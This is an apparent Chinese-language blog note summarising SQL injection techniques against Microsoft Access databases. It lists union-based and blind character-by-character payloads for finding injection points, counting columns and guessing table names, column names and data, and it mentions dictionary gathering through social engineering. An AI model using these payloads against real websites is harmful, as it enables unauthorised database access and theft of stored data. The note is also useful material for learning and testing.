sql注入--access

標籤：字典   order   編碼   bubuko   圖片   其他   聯集查詢   sql注入   bsp   

access資料庫結構:

　　表名  -->  列名  -->  資料

access注入攻擊片段

　　聯集查詢法:

　　　　(1)  判斷注入點:  ?id=1 and 1=1 ; ?id=1 and 1=2

　　　　(2)  猜解表長度:  ?id=1 order by 3

　　　　(3)  猜解表名:  ?id=1 union select 1,2,3 from 表名 

　　　　(4)  猜解列名:  ?id=1 union select  列名,2,3 from  表名

　　　　(5)  猜解資料

　　逐字猜解法:

　　　　(1)  查表：?id=1 and exists (select * from 表名)

　　　　(2)  查列：?id=1 and exists (select 列名 from 表名)

　　　　(3)  查資料：1.確定長度

　　　　　　　　　　　　?id=1 and (select top 1 len(列名) from 表名)=5

　　　　　　　　　　2.確定asc資料(asc編碼)　　　　

　　　　　　　　　　　　?id=1 and (select top 1 asc(mid(列名,位元,1)) from 表名)=97

　　其他方法:

　　　　(1)字典檔案收集（社工）

　　　　(2)Access位移注入

 

 

 

sql注入--access